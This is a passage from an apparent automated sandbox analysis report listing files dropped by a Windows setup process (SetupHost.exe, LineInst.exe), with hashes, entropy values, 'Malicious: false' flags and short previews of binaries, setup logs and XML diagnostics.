name="Fun" rs:number="6">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Uid" rs:number="7">.<s:datatype dt:type="int"/>.</s:At

C:\$WINDOWS.~BT\Sources\Panther\setupact.log

Download File

Process:	C:\$Windows.~WS\Sources\SetupHost.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	7950
Entropy (8bit):	4.634289418365321
Encrypted:	false
SSDEEP:	192:xOKF2v2jam2DfaJcFBzJGrHdJ0pNdJyLqgeXv8zDIs12AusbOngdjYP7JEJGscZk:3aHVS
MD5:	B2B4446C5C482076E737E1D39C3FC492
SHA1:	88144C61D52F6E29E34C4F072AB451967501D96C
SHA-256:	EADBD6D6D58510811B9C6F096397BEB2F35C41A72CC3EA37356E2894CA1D4E9D
SHA-512:	5BC88989511D10FAF664FC6583FB6BAEA1496C247C99A0C8CD7029201EA449375337D26E7403895C42700DCE0ED252B50EE52A743A63F334C79A3734589A2BB1
Malicious:	false
Preview:	.2024-12-29 07:55:35, Info SP CSetupPlatform::Initialize: Setup log starts:..2024-12-29 07:55:35, Info SP SEH: Enter CExceptionHandler::CExceptionHandler..2024-12-29 07:55:35, Info SP SEH: Exit CExceptionHandler::CExceptionHandler..2024-12-29 07:55:36, Info SP Host system information:.. VM: NO.. Firmware type: UEFI.. Manufacturer: fvbusxym1m6gKDB.. Model : vcHFyE31.. BIOS name : VMW201.00V.20829224.B64.2211211842.. BIOS version : X91N2.. BIOS release date : 20221121000000.000000+000.. Total memory : 8589934592.. Number of physical CPUs : 2.. Number of logical CPUs : 2

C:\$WINDOWS.~BT\Sources\SetupPlatform.ini

Download File

Process:	C:\$Windows.~WS\Sources\SetupHost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	36
Entropy (8bit):	4.569657210485732
Encrypted:	false
SSDEEP:	3:d4vgEon/kVL/p:d4vgE6/ex
MD5:	868D76953D2F4C6B77F476C4C5C0F3C7
SHA1:	BAB7261B84F16F63A8C331856F4D0D6E3EC4F28D
SHA-256:	5BA3F15327586B63497AA22C6CD61CA3CD4F68397D65DE15E8D6E6D5431CE492
SHA-512:	0F350479F426CB4D2AC7173C4B0D13136A309C4BDC187B91BDC2BFEE6F6D21325CDCFBAFC6B28B72751531A08B8ABF0C2183D19F47B34285ADD1AD07D8D7406E
Malicious:	false
Preview:	[DiagTrack]..UploadBasedOnEnvVar=1..

C:\$Windows.~WS\Sources\DU.dll

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	123712
Entropy (8bit):	6.460431067934838
Encrypted:	false
SSDEEP:	3072:7UTZhzH2+F3yOme7PNWCsWlMzeNDz7biF4jL4hgXE:GbF13PACNlDzS4Cn
MD5:	7727A405C9878C2FE052922C1F965384
SHA1:	12EF6479A97C7A6574CA8DD7BE6B64F47B79F710
SHA-256:	4912ABC0A250DFAF63A48E4165E94AB701505F14BCC7A1464D5588FA2D434564
SHA-512:	55C1A07BC932C619B585E3B883EAF581F5A0C5C8ED0AB1D1D0386DD344501746420D2541F0CD3CAFF984472AB65B8A7D49F5FD8821F45E5C4FA7194DDB89E09E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 7bYDInO.rtf, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3..#wd}pwd}pwd}pc.~qud}pc.yqfd}pwd\|p.d}pc.\|qbd}pc.xq.d}pc.}qvd}pc.tqld}pc..pvd}pc..qvd}pRichwd}p........................PE..L....u.............!.........D.......j...............................................;....@A........................ ...................................@!..........0...T...............................@.......................@....................text....~.......................... ..`.data...............................@....idata..z...........................@..@.didat..............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\$Windows.~WS\Sources\DiagTrack.dll

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922976
Entropy (8bit):	6.46965241570797
Encrypted:	false
SSDEEP:	12288:Er+9jUr2TTWLQRPwMRlf+8Kh+fx6gmkwJKdMrtUIHkaMNUEP3g5Qy1Jxb3ArS:A+9jUr2TTr5LlfcwwggUhnNzg5Rbwr
MD5:	6C3F6A6BC5EDE978E9DFE1ACCE386339
SHA1:	3B7B51D762C593E92123F9365A896ED64EE26A7A
SHA-256:	B55D66F2943F1C63EA9B39DAE88AA2A4F91775CEFFFEFD263BD302866A7BD91C
SHA-512:	3F87064354A0F55F36AA272C5918D208B8A77FFFB7965E9B50727C06FD8D8DB5E6695636A7DB37926FE444C91E4A4A7DC892EF5EF57676BA9515216D5E5F94FF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: MediaCreationTool.bat, Detection: malicious, Browse Filename: 7bYDInO.rtf, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b...&..&..&..J..*..&....J.....J..(..J..(..J..'..J.....J..'..J..'..Rich&..........................PE..L.....2V...........-.........d...............................................P......D.....@A........................ ...]...`...@.......p...............`!..........N..8...........................HO..@...............\.......@....................text...}........................... ..`.data...............................@....idata...&.......(..................@..@.didat.. ...........................@....rsrc...p...........................@..@.reloc..............`..............@..B........................................................................................................................................................................................................................................................................

C:\$Windows.~WS\Sources\DiagTrackRunner.exe

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	79040
Entropy (8bit):	5.68085764397868
Encrypted:	false
SSDEEP:	1536:ctlKhKIqVXrOLgef8j1D8KxLQgSSQlsJkGAsC:SlYKrOMso1D8KxLQgSdKJMsC
MD5:	76F30A1E149792D2542A253B920CBEF6
SHA1:	9040E0873DF5CC2A64B850D1B8159B77528BA62C
SHA-256:	488CBC8330952DD13B797BB40E4E30610ED03483C25919C39555F7B334A3C159
SHA-512:	EC39861A3F39F88AAD52975974C988AE76376A09136D95F5D4FEDD60EE7EC252736D882CEF77298D82D786E0DAD13C61148B29D7C5FB7BA7D7C74B05DE9D7E84
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........S...S...S....-%.P....-&.F....-'.U....-;.X...S........-#.R....-9.R....-$.R...RichS...................PE..L...Y.2V.................V...........U.......p....@..........................0......M.....@.................................,...x........................<... .......#..8............................$..@...............(............................text...0U.......V.................. ..`.data........p.......Z..............@....idata...............\..............@..@.rsrc................d..............@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\$Windows.~WS\Sources\Diager.dll

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	41792
Entropy (8bit):	6.371638869251201
Encrypted:	false
SSDEEP:	768:GjGabdDxVfFrX8khxIWdOghUak3h1PQRVta:G9dDxNFrX80IWdOdaeXP4ta
MD5:	4396BDD1707419909F04A92184AD1317
SHA1:	EAA238531420DCFBDB864FA31BD95373B53977D7
SHA-256:	AE0F8123D3EF8801961211D7D71780BEE76C418EBC8C6893B385D5FABA6BB68F
SHA-512:	D7E526A1BB8B7D4FB91DE5F10DD1CD1A005DD26AEC7839B22E66303BADA8ECBA34E92F2467EA510584C29C93C51A78C4FA36849050F72BFEDA456671136AA8EC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......h.Z.,.4.,.4.,.4.8.7...4.8.0.".4.,.5...4.8.5.#.4.8.1.).4.8.4.-.4.8.=.%.4.8..-.4.8.6.-.4.Rich,.4.........................PE..L...E9.I...........!.....^...".......X.......p............................................@A.........................e......P...........................@!...........$..T...............................@...............L....d..@....................text...j\.......^.................. ..`.data........p.......b..............@....idata...............d..............@..@.didat...............t..............@....rsrc................v..............@..@.reloc...............z..............@..B........................................................................................................................................................................................................................................................................

C:\$Windows.~WS\Sources\MediaSetupUIMgr.dll

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15634744
Entropy (8bit):	2.7509316397129315
Encrypted:	false
SSDEEP:	12288:mzKrn9w8KDsQ/z20NoJDZVm4z0VdwmTRjnaQbjAKz7h8n5Ou:AK+8KQ820aXVdz0VdwmTRjamPh8n5L
MD5:	BDBD14F60FC78EDCA16A022C9801CF70
SHA1:	E24CE3852CC9D42296C3FD550735069B86D7518A
SHA-256:	A2679D717DB07F43D81F895E508520E01CD0262F1BE5870333D12CE71FE02DB4
SHA-512:	6D6AA6AA8108D49347B4D5B40C632E568D44805D6352B517363262A408F7E04CAFB3A66D1CB121BF920DF080C7119401C454F90BA9A47FFE593CE9CB11DA78B8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........*.2;Kja;Kja;Kja/ i`=Kja/ n`-Kja/ k`.Kja;Kka.Ija/ o`0Kja/ j`:Kja/ c`^Kja/ .a:Kja/ h`:KjaRich;Kja........................PE..L................-.........T..............0.......................................%....@A........................P&..X.......h.......L............p..8!...@..........T...........................p...@............................................text............................... ..`.data...tK...0...&..................@....idata...#.......$...B..............@..@.rsrc................f..............@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................

C:\$Windows.~WS\Sources\Panther\DlTel-Merge.etl

Download File

Process:	C:\$Windows.~WS\Sources\SetupHost.exe
File Type:	data
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.7820234358676397
Encrypted:	false
SSDEEP:	768:1zAa0rDOJuUjCUKVdJMggcRiUE4Rkr3ajDZSr0vJgqZ02cF5JnbFGqUzyY/qp+zu:KhRVu
MD5:	C10C353BC9006F111E126B6EB630DA00
SHA1:	FBFB4D2A60622BD8881A390278C2D67360BF3885
SHA-256:	02B88955675322331934825F232F4BB2C68A7A77924FD1070212895DA74671B0
SHA-512:	59D87AE1B1D8E81971B61A0773B6E118A4266F30885AB711D105BD27943FCDA41085FBFA390844215EBC67C748BC969EF9A0FD58199344A69D296FF68E5926D8
Malicious:	false
Preview:	............................................................................\|...X...T..."&.m....................eJ.......;/..Y..Zb......................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1..............................................................O............._`..Y..........R.e.l.o.g.g.e.r...C.:.\.W.i.n.d.o.w.s.\.P.a.n.t.h.e.r.\.D.l.T.e.l...e.t.l...........P.P.X...T..."&.m............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\$Windows.~WS\Sources\Panther\Eula.rtf

Download File

Process:	C:\$Windows.~WS\Sources\SetupHost.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	4.647786492863431
Encrypted:	false
SSDEEP:	1536:sT9Ps8LkRAdnz0g2qnCcuwXiSjwJ7RSnhkcA9Zs5uu3lQ:sVwzgF
MD5:	535FA80FA78584C5490B8820F7B093BF
SHA1:	41CDC82F1E6E7DC1AC468011B4651341DF8276C8
SHA-256:	E023F0A07CC39DFB37FE89A32CFA36C7721624D6857FD6406B4FE508A749C8D7
SHA-512:	6D59B1B2808B939AD101BE08DA7662FE0B5DC8F254C197577FCF50F390FE75A15A5206458627787BE697D09528C5BB3676807067FCCC36DC1810085BBE057024
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff40\deff0\stshfdbch11\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f11\fbidi \froman\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt \'82\'6c\'82\'72 \'96\'be\'92\'a9};}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}{\f41\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0603020202020204}Trebuchet MS;}{\f43\fbidi \froman\fcharset128\fprq1{\\panose 02020609040205080304}@MS Mincho;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02

C:\$Windows.~WS\Sources\Panther\diagerr.xml

Download File

Process:	C:\$Windows.~WS\Sources\SetupHost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.5058843991230515
Encrypted:	false
SSDEEP:	192:53gbHPU6WExWOnW7uWvideVIezh0MC56KE2K:53Ic
MD5:	288429F8E0D3DC2F750E0E835572B121
SHA1:	7BD08776E6406F0256DC161E394D788EEA3C17EC
SHA-256:	17FACEF19AB69B2455E820AF7D01616E96C14536FB4D72754570AEB57453FF5E
SHA-512:	8FB3E858E145CDC1B335C0FB2A0472283DC99E7365076D6F902AC7958E2B915BD152E90C398BA347D2CB4EFBB6E79CF50CE59B1EF77B9CE1C0218B1F0A749B44
Malicious:	false
Preview:	.<xml xmlns:s="uuid:BDC6E3F0-6DA3-11d1-A2A3-00AA00C14882". xmlns:dt="uuid:C2F41010-65B3-11d1-A29F-00AA00C14882". xmlns:rs="urn:schemas-microsoft-com:rowset". xmlns:z="#RowsetSchema">.<s:Schema id="RowsetSchema">.<s:ElementType name="row" content="eltOnly" rs:updatable="true">.<s:AttributeType name="Cls" rs:number="0">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Sev" rs:number="1">.<s:datatype dt:type="int"/>.</s:AttributeType>.<s:AttributeType name="Maj" rs:number="2">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Min" rs:number="3">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="LN" rs:number="4">.<s:datatype dt:type="int"/>.</s:AttributeType>.<s:AttributeType name="Fil" rs:number="5">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Fun" rs:number="6">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Uid" rs:number="7">.<s:datatype dt:type="int"/>.</s:At

C:\$Windows.~WS\Sources\Panther\diagwrn.xml

Download File

Process:	C:\$Windows.~WS\Sources\SetupHost.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (333)
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.7495526808387014
Encrypted:	false
SSDEEP:	192:53gbEPsPQPSsPAPSbPSSPS9PS9PSQPSmPS5PSFPS8PSlP+PS6PSfPS5PSMPSNPSx:53I
MD5:	EF6FE557DBC50165EF2CF12725DD32CB
SHA1:	924EAE1610073FEC3DE25F5E4CAB39A73B9B27BC
SHA-256:	4FF89928C0B85087200FDC9024D99CE6E7CC54323F9DF2D5A9B2F1C363259A2C
SHA-512:	B2D6CC9245B28FD3C0A027ACD30450142D4435B64645FE004FBD7C47B06686A3BADA975B8E61453DFDF6085CBA6410F04DC1F75E7BAE9B634735C8B1FAB90CEC
Malicious:	false
Preview:	.<xml xmlns:s="uuid:BDC6E3F0-6DA3-11d1-A2A3-00AA00C14882". xmlns:dt="uuid:C2F41010-65B3-11d1-A29F-00AA00C14882". xmlns:rs="urn:schemas-microsoft-com:rowset". xmlns:z="#RowsetSchema">.<s:Schema id="RowsetSchema">.<s:ElementType name="row" content="eltOnly" rs:updatable="true">.<s:AttributeType name="Cls" rs:number="0">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Sev" rs:number="1">.<s:datatype dt:type="int"/>.</s:AttributeType>.<s:AttributeType name="Maj" rs:number="2">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Min" rs:number="3">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="LN" rs:number="4">.<s:datatype dt:type="int"/>.</s:AttributeType>.<s:AttributeType name="Fil" rs:number="5">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Fun" rs:number="6">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Uid" rs:number="7">.<s:datatype dt:type="int"/>.</s:At

C:\$Windows.~WS\Sources\Panther\setupact.log

Download File

Process:	C:\$Windows.~WS\Sources\SetupHost.exe
File Type:	data
Category:	modified
Size (bytes):	65536
Entropy (8bit):	4.870311859463582
Encrypted:	false
SSDEEP:	384:mQ3S4VFtRDWr+bdUS38+SqsSu/8knlHVJVVH+xjgo75+NKldF9yVDmTB:V3Hh9DUS38+SqsID9q
MD5:	ABF4BE2ABF1CEF3696D7569CFE5ADFF9
SHA1:	D71A12E3543435633DCC4A9CBC99D0613C06C0A6
SHA-256:	DFDEEA9A18EF0DDB22DAB396DF7AD899385B37A98D51B85A73309A4424E3E625
SHA-512:	33F47243A13FA1BCEBE68C3CD533AD6940C024B2F9BAA82C07A0983AA1553F232F669CFEF2EA43C6DB25F2D8D850E4BEE732FC51A3AD0FFAC2154A63C854FE4E
Malicious:	false
Preview:	.2024-12-29 07:52:59, Info MOUPG ************* SetupHost Logging Begin *************..2024-12-29 07:52:59, Info MOUPG SetupHost::Initialize..2024-12-29 07:52:59, Info MOUPG SetupHost::Initialize: ModulePath = [C:\$Windows.~WS\Sources]..2024-12-29 07:52:59, Info MOUPG SetupHost::Initialize: WorkingPath = [C:\$Windows.~WS\Sources]..2024-12-29 07:52:59, Info MOUPG SetupHost::Initialize: LoggingPath = [C:\$Windows.~WS\Sources\Panther]..2024-12-29 07:52:59, Info MOUPG SetupHost::Initialize: MediaPath = []..2024-12-29 07:52:59, Info MOUPG SetupHost::Initialize: InstallFilePath = []..2024-12-29 07:52:59, Info MOUPG SetupHost::Initialize: ActionListFilePath = []..2024-12-29 07:52:59, Info MOUPG SetupHost::Initialize: CmdLine = [/Download /Web ]..2024-12-29

C:\$Windows.~WS\Sources\Panther\setuperr.log

Download File

Process:	C:\$Windows.~WS\Sources\SetupHost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6386993395945479
Encrypted:	false
SSDEEP:	192:xs+BI/zIPM/kMIo/koI+/k+I+H1B1w1e1o1F1L1o1Y1InELnnjnVnn:mv8knLHVJVVHWc+75+uUmTB
MD5:	C96B92C5BF71EF8E2A980764B77C7970
SHA1:	914BE23985315682C7BCB4E10AB3D985DF3F2CA6
SHA-256:	C94709962566387D37BF1EF5FFC1DF658F284AD83C71533B4C6C13237BF56C34
SHA-512:	BBE37191BF2ECF6B73FFE15BD7C7D626FC5381E36B64CC70F43F97A4BBB837F5946570FBFCDD97D3076C9184C2CFD98ABDEFD4AD55056723D5A2FB6BC191E32D
Malicious:	false
Preview:	.2024-12-29 07:52:59, Error MOUPG CInstallUI::GetDefaultLanguage(2027): Result = 0x80070002[gle=0x00000002]..2024-12-29 07:54:53, Error MOUPG Bits Error: Fatal = [Yes], State = [TransientError], Error_Context = [BG_ERROR_CONTEXT_REMOTE_FILE], hr = [0x80072EE7], Description = [The server name or address could not be resolved..] [gle=0x000036b7]..2024-12-29 07:54:53, Error MOUPG Bits Error: File [http://dl.delivery.mp.microsoft.com/filestreamingservice/files/c8ba26f0-72f8-44df-80df-cfad71e9abeb/19045.3803.231204-0204.22h2_release_svc_refresh_CLIENTCONSUMER_RET_x64FRE_en-gb.esd] => [C:\ESD\Download\installx64.esd][gle=0x000036b7]..2024-12-29 07:55:07, Error MOUPG Bits Error: Fatal = [Yes], State = [TransientError], Error_Context = [BG_ERROR_CONTEXT_REMOTE_FILE], hr = [0x80072EE7], Description = [The server name or address could not be resolved..] ..2024-12-29 07:55:07, Error MOUPG Bits Error: File [http

C:\$Windows.~WS\Sources\Panther\windlp.state-old.xml

Download File

Process:	C:\$Windows.~WS\Sources\SetupHost.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8476798893772132
Encrypted:	false
SSDEEP:	192:SXXb+dQuBugcuC2nvhzpCsU+lPz+lE51XUslIlVlPl:SXXb+dQuBugcuCUhzIsUszXrE
MD5:	5F33913C0B1344AE0387E938D3C9B624
SHA1:	9FB176AA667790C9EA0FB02A3B9F19BDA2759C01
SHA-256:	1A47E344B3ED603D0D41A8FD38E8D11F11323F5E2A33C00A32E56630AC5DA082
SHA-512:	567CB519D64BA992663F6B4BDEC7E60292E6517E13DFEE3EB4CFF10D6271A33F90EC2869DA864E7368A684DA801213D6A204C8420F250F97AC469F3DB7DAAA10
Malicious:	false
Preview:	..<.W.I.N.D.L.P.>..... . .<.S.t.a.t.e.>.0.<./.S.t.a.t.e.>..... . .<.T.a.s.k.C.o.u.n.t.>.0.<./.T.a.s.k.C.o.u.n.t.>..... . .<.W.o.r.k.i.n.g.P.a.t.h.>.C.:.\.$.W.i.n.d.o.w.s...~.W.S.\.S.o.u.r.c.e.s.\.P.a.n.t.h.e.r.<./.W.o.r.k.i.n.g.P.a.t.h.>..... . .<.S.t.r.i.n.g.C.o.u.n.t.>.D.<./.S.t.r.i.n.g.C.o.u.n.t.>..... . .<.S.t.r.i.n.g.P.r.o.p.e.r.t.y.>..... . . . .<.N.a.m.e.>.T.e.l.#.A.s.m.v.\.W.u.I.d.<./.N.a.m.e.>..... . . . .<.V.a.l.u.e.>.0.9.7.c.7.7.f.b.-.5.d.5.d.-.4.8.6.8.-.8.6.0.b.-.0.9.f.4.e.5.b.5.0.a.5.3.<./.V.a.l.u.e.>..... . .<./.S.t.r.i.n.g.P.r.o.p.e.r.t.y.>..... . .<.S.t.r.i.n.g.P.r.o.p.e.r.t.y.>..... . . . .<.N.a.m.e.>.H.o.s.t.O.S.B.r.a.n.c.h.N.a.m.e.<./.N.a.m.e.>..... . . . .<.V.a.l.u.e.>.v.b._.r.e.l.e.a.s.e.<./.V.a.l.u.e.>..... . .<./.S.t.r.i.n.g.P.r.o.p.e.r.t.y.>..... . .<.S.t.r.i.n.g.P.r.o.p.e.r.t.y.>..... . . . .<.N.a.m.e.>.T.e.l.#.A.s.m.v.\.W.e.b.S.e.t.u.p.O.n.l.i.n.e.S.t.o.r.e.V.e.r.s.i.o.n.<./.N.a.m.e.>..... . . . .<.V.a.l.u.e.>.1...4...1.<./.V.a.l.u.e.>..... . .<./.S.t.r.i.n.g.

C:\$Windows.~WS\Sources\Panther\windlp.state.xml

Download File

Process:	C:\$Windows.~WS\Sources\SetupHost.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8476798893772132
Encrypted:	false
SSDEEP:	192:SXXb+dQuBugcuC2nvhzpCsU+lPz+lE51XUslIlVlPl:SXXb+dQuBugcuCUhzIsUszXrE
MD5:	5F33913C0B1344AE0387E938D3C9B624
SHA1:	9FB176AA667790C9EA0FB02A3B9F19BDA2759C01
SHA-256:	1A47E344B3ED603D0D41A8FD38E8D11F11323F5E2A33C00A32E56630AC5DA082
SHA-512:	567CB519D64BA992663F6B4BDEC7E60292E6517E13DFEE3EB4CFF10D6271A33F90EC2869DA864E7368A684DA801213D6A204C8420F250F97AC469F3DB7DAAA10
Malicious:	false
Preview:	..<.W.I.N.D.L.P.>..... . .<.S.t.a.t.e.>.0.<./.S.t.a.t.e.>..... . .<.T.a.s.k.C.o.u.n.t.>.0.<./.T.a.s.k.C.o.u.n.t.>..... . .<.W.o.r.k.i.n.g.P.a.t.h.>.C.:.\.$.W.i.n.d.o.w.s...~.W.S.\.S.o.u.r.c.e.s.\.P.a.n.t.h.e.r.<./.W.o.r.k.i.n.g.P.a.t.h.>..... . .<.S.t.r.i.n.g.C.o.u.n.t.>.D.<./.S.t.r.i.n.g.C.o.u.n.t.>..... . .<.S.t.r.i.n.g.P.r.o.p.e.r.t.y.>..... . . . .<.N.a.m.e.>.T.e.l.#.A.s.m.v.\.W.u.I.d.<./.N.a.m.e.>..... . . . .<.V.a.l.u.e.>.0.9.7.c.7.7.f.b.-.5.d.5.d.-.4.8.6.8.-.8.6.0.b.-.0.9.f.4.e.5.b.5.0.a.5.3.<./.V.a.l.u.e.>..... . .<./.S.t.r.i.n.g.P.r.o.p.e.r.t.y.>..... . .<.S.t.r.i.n.g.P.r.o.p.e.r.t.y.>..... . . . .<.N.a.m.e.>.H.o.s.t.O.S.B.r.a.n.c.h.N.a.m.e.<./.N.a.m.e.>..... . . . .<.V.a.l.u.e.>.v.b._.r.e.l.e.a.s.e.<./.V.a.l.u.e.>..... . .<./.S.t.r.i.n.g.P.r.o.p.e.r.t.y.>..... . .<.S.t.r.i.n.g.P.r.o.p.e.r.t.y.>..... . . . .<.N.a.m.e.>.T.e.l.#.A.s.m.v.\.W.e.b.S.e.t.u.p.O.n.l.i.n.e.S.t.o.r.e.V.e.r.s.i.o.n.<./.N.a.m.e.>..... . . . .<.V.a.l.u.e.>.1...4...1.<./.V.a.l.u.e.>..... . .<./.S.t.r.i.n.g.

C:\$Windows.~WS\Sources\SetupCore.dll

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2172728
Entropy (8bit):	5.943926965774228
Encrypted:	false
SSDEEP:	24576:OeEbcHPcrJLItSNvtuu/YhSef7K/cjkXgaoo0NGG2Adj9DDIE/RYw:OVb2cRwyY4VXXEL2GjBIQYw
MD5:	55A4344E76136460BE2C8547C38567B4
SHA1:	83400B9A3BC4F1D935258A80B3E7636BAAA618CB
SHA-256:	A9AC64EC515D04589DFC38B25D68D01F281BBB794D0DF9EC4205FE473703AEF5
SHA-512:	A8AD61CAF69891EE31C48401EC87D3BB92DB5E64C9FE878EE33E072FD6E5406DB9A747485D1CF93F615072E6C565C36715700571DCD974C6EB7A76A7630D0F43
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.S.x.=.x.=.x.=.l.>.s.=.l.9.i.=.x.<.;.=.l.<.[.=.l.8.q.=.l.=.y.=.l.4.m.=.l...y.=.l.?.y.=.Richx.=.........................PE..L....7t\...........-.........R...............................................@!......o!...@A...........................R....6..h....p..X.............!.8!...@ .d.......T...................\|..........@............0...............................text...B........................... ..`.data....e.......V..................@....idata...0...0...2..................@..@.rsrc........p.......<..............@..@.reloc..d....@ ....... .............@..B................................................................................................................................................................................................................................................................................................................

C:\$Windows.~WS\Sources\SetupHost.exe

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	699192
Entropy (8bit):	6.488335450528499
Encrypted:	false
SSDEEP:	12288:aoBJUei8NJTRJUrJJMOy2pWShbJAnpRj5pcRpGbov5IUfiHrCOTmfVjRagSPD:jBJUj8NJTRJUVJN59VjwbPD
MD5:	A5D94F9587F97E9C674447447721B77F
SHA1:	1C130F95C82AB28A4A11A7ED41EB9EA9F613A339
SHA-256:	F33E7BCE0CA712BAAC95557823096F929F78927E521C0448ED237F429141EFD9
SHA-512:	E5E35480A489B0F63A2938A1C4EA19ACA197A16020BB330662B62E98759FB5F7B6056416DC1D8894E433607C5B4FB3E7AE61F0D2FA3C7455DD000916EC3D5D62
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........bn.............h.......h.......h.......h..........{....h..)....h.......h......Rich............................PE..L.....\e................. ..........P........0....@.................................<.....@...... .......................... v..,.......H...............8!...p..\|e.. ...T....................2.......1..@............p...............................text............ .................. ..`.data....?...0.......$..............@....idata...)...p...*...2..............@..@.rsrc...H............\..............@..@.reloc..\|e...p...f...$..............@..B........................................................................................................................................................................................................................................................................................................................

C:\$Windows.~WS\Sources\SetupMgr.dll

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	747320
Entropy (8bit):	6.582241479326702
Encrypted:	false
SSDEEP:	12288:yMv8NZ0L0YEgAt2dBVtnliFAAF02WPy6e5W7JrAa3vpz/VXGGT3m/YvZ0YPej/O8:yMv6q0YEgAt2RtnliFAW0jPG5wXJSDjf
MD5:	59D1A173F6B27A8A1CC367CA9FF6E560
SHA1:	15B2C60011D97B99C4CD2EEDB62CCAB14D748DF6
SHA-256:	45C2EE2387026A50F0C6B9C9119F39B6D2B6505312DBDF352399FD41E8DEB78F
SHA-512:	A14D89FCF4964F7929936A16C0EF9D4896D14913B3E5BC050CD7044A1A0DA50E58520DE80A7966832F514365D031012D0E1829CD7B93D1B547812F8ABBCF7557
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
